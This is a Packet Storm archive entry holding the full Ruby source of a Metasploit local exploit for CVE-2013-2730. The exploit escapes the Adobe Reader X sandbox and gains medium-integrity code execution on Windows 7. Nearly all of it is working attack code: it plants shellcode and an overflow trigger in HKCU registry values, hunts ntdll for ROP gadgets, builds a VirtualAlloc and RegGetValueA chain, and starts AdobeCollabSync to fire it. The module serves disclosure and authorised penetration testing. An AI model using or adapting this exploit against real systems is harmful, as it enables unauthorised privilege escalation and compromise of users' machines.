AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass

2013-05-23T00:00:00
ID PACKETSTORM:121711
Type packetstorm
Reporter Felipe Andres Manzano
Modified 2013-05-23T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/windows/registry'  
require 'msf/core/post/common'  
require 'msf/core/post/file'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Post::Windows::Registry  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',  
'Description' => %q{  
This module exploits a vulnerability on Adobe Reader X Sandbox. The  
vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe  
process to write register values which can be used to trigger a buffer overflow on  
the AdobeCollabSync component, allowing to achieve Medium Integrity Level  
privileges from a Low Integrity AcroRd32.exe process. This module has been tested  
successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Felipe Andres Manzano', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-2730' ],  
[ 'OSVDB', '93355' ],  
[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => 'meterpreter',  
'Payload' =>  
{  
'Space' => 12288,  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'Adobe Reader X 10.1.4 / Windows 7 SP1',  
{  
'AdobeCollabSyncTrigger' => 0x18fa0,  
'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate'=> 'May 14 2013'  
}))  
  
end  
  
def on_new_session  
print_status("Deleting Malicious Registry Keys...")  
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")  
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")  
end  
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")  
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")  
end  
print_status("Cleanup finished")  
end  
  
# Test the process integrity level by trying to create a directory on the TEMP folder  
# Access should be granted with Medium Integrity Level  
# Access should be denied with Low Integrity Level  
# Usint this solution atm because I'm experiencing problems with railgun when trying  
# use GetTokenInformation  
def low_integrity_level?  
tmp_dir = expand_path("%TEMP%")  
cd(tmp_dir)  
new_dir = "#{rand_text_alpha(5)}"  
begin  
session.shell_command_token("mkdir #{new_dir}")  
rescue  
return true  
end  
  
if directory?(new_dir)  
session.shell_command_token("rmdir #{new_dir}")  
return false  
else  
return true  
end  
end  
  
def check_trigger  
signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)  
if signature == target['AdobeCollabSyncTriggerSignature']  
return true  
end  
return false  
end  
  
def collect_addresses  
# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe  
@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']  
vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")  
  
# find kernel32.dll  
kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")  
@addresses['kernel32.dll'] = kernel32["return"]  
if @addresses['kernel32.dll'] == 0  
fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll")  
end  
vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")  
  
# find kernel32.dll methods  
virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")  
@addresses['VirtualAlloc'] = virtual_alloc["return"]  
if @addresses['VirtualAlloc'] == 0  
fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc")  
end  
vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")  
  
reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")  
@addresses['RegGetValueA'] = reg_get_value["return"]  
if @addresses['RegGetValueA'] == 0  
fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA")  
end  
vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")  
  
# find ntdll.dll  
ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")  
@addresses['ntdll.dll'] = ntdll["return"]  
if @addresses['ntdll.dll'] == 0  
fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll")  
end  
vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")  
end  
  
# Search a gadget identified by pattern on the process memory  
def search_gadget(base, offset_start, offset_end, pattern)  
mem = base + offset_start  
length = offset_end - offset_start  
mem_contents = session.railgun.memread(mem, length)  
return mem_contents.index(pattern)  
end  
  
# Search for gadgets on ntdll.dll  
def search_gadgets  
ntdll_text_base = 0x10000  
search_length = 0xd6000  
  
@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")  
if @gadgets['mov [edi], ecx # ret'].nil?  
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")  
end  
@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']  
@gadgets['mov [edi], ecx # ret'] += ntdll_text_base  
vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")  
  
@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2  
vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")  
  
@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")  
if @gadgets['pop edi # ret'].nil?  
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'")  
end  
@gadgets['pop edi # ret'] += @addresses['ntdll.dll']  
@gadgets['pop edi # ret'] += ntdll_text_base  
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")  
  
@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")  
if @gadgets['pop ecx # ret'].nil?  
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")  
end  
@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']  
@gadgets['pop ecx # ret'] += ntdll_text_base  
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")  
end  
  
def store(buf, data, address)  
i = 0  
while (i < data.length)  
buf << [@gadgets['pop edi # ret']].pack("V")  
buf << [address + i].pack("V") # edi  
buf << [@gadgets['pop ecx # ret']].pack("V")  
buf << data[i, 4].ljust(4,"\x00") # ecx  
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")  
i = i + 4  
end  
return i  
end  
  
def create_rop_chain  
mem = 0x0c0c0c0c  
  
buf = [0x58000000 + 1].pack("V")  
buf << [0x58000000 + 2].pack("V")  
buf << [0].pack("V")  
buf << [0x58000000 + 4].pack("V")  
  
buf << [0x58000000 + 5].pack("V")  
buf << [0x58000000 + 6].pack("V")  
buf << [0x58000000 + 7].pack("V")  
buf << [@gadgets['ret']].pack("V")  
buf << rand_text(8)  
  
# Allocate Memory To store the shellcode and the necessary data to read the  
# shellcode stored in the registry  
buf << [@addresses['VirtualAlloc']].pack("V")  
buf << [@gadgets['ret']].pack("V")  
buf << [mem].pack("V") # lpAddress  
buf << [0x00010000].pack("V") # SIZE_T dwSize  
buf << [0x00003000].pack("V") # DWORD flAllocationType  
buf << [0x00000040].pack("V") # flProtect  
  
# Put in the allocated memory the necessary data in order to read the  
# shellcode stored in the registry  
# 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions  
reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"  
reg_key_length = store(buf, reg_key, mem)  
# 2) The reg entry: shellcode  
value_key = "shellcode\x00"  
store(buf, value_key, mem + reg_key_length)  
# 3) The output buffer size: 0x3000  
size_buffer = 0x3000  
buf << [@gadgets['pop edi # ret']].pack("V")  
buf << [mem + 0x50].pack("V") # edi  
buf << [@gadgets['pop ecx # ret']].pack("V")  
buf << [size_buffer].pack("V") # ecx  
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")  
  
# Copy the shellcode from the the registry to the  
# memory allocated with executable permissions and  
# ret into there  
buf << [@addresses['RegGetValueA']].pack("V")  
buf << [mem + 0x1000].pack("V") # ret to shellcode  
buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER  
buf << [mem].pack("V") # lpSubKey  
buf << [mem + 0x3c].pack("V") # lpValue  
buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY  
buf << [0].pack("V") # pdwType  
buf << [mem + 0x1000].pack("V") # pvData  
buf << [mem + 0x50].pack("V") # pcbData  
end  
  
# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry  
def store_data_registry(buf)  
vprint_status("Creating the Registry Key to store the shellcode...")  
  
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")  
vprint_good("Registry Key created")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode")  
end  
  
vprint_status("Storing the shellcode in the Registry...")  
  
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")  
vprint_good("Shellcode stored")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry")  
end  
  
# Create the Malicious registry entry in order to exploit....  
vprint_status("Creating the Registry Key to trigger the Overflow...")  
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")  
vprint_good("Registry Key created")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")  
end  
  
vprint_status("Storing the trigger in the Registry...")  
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")  
vprint_good("Trigger stored")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry")  
end  
end  
  
def trigger_overflow  
vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")  
# Create a thread in order to execute the necessary code to launch AdobeCollabSync  
ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)  
if ret['return'] < 1  
print_error("Unable to CreateThread")  
return  
end  
hthread = ret['return']  
  
vprint_status("Resuming the Thread...")  
# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!  
ret = client.railgun.kernel32.ResumeThread(hthread)  
if ret['return'] < 1  
fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread")  
end  
end  
  
def check  
@addresses = {}  
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")  
@addresses['AcroRd32.exe'] = acrord32["return"]  
if @addresses['AcroRd32.exe'] == 0  
return Msf::Exploit::CheckCode::Unknown  
elsif check_trigger  
return Msf::Exploit::CheckCode::Vulnerable  
else  
return Msf::Exploit::CheckCode::Detected  
end  
end  
  
def exploit  
@addresses = {}  
@gadgets = {}  
  
print_status("Verifying we're in the correct target process...")  
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")  
@addresses['AcroRd32.exe'] = acrord32["return"]  
if @addresses['AcroRd32.exe'] == 0  
fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found")  
end  
vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")  
  
print_status("Checking the AcroRd32.exe image...")  
if not check_trigger  
fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")  
end  
  
print_status("Checking the Process Integrity Level...")  
if not low_integrity_level?  
fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")  
end  
  
print_status("Collecting necessary addresses for exploit...")  
collect_addresses  
  
print_status("Searching the gadgets needed to build the ROP chain...")  
search_gadgets  
print_good("Gadgets collected...")  
  
print_status("Building the ROP chain...")  
buf = create_rop_chain  
print_good("ROP chain ready...")  
  
print_status("Storing the shellcode and the trigger in the Registry...")  
store_data_registry(buf)  
  
print_status("Executing AdobeCollabSync.exe...")  
trigger_overflow  
end  
end  
  
`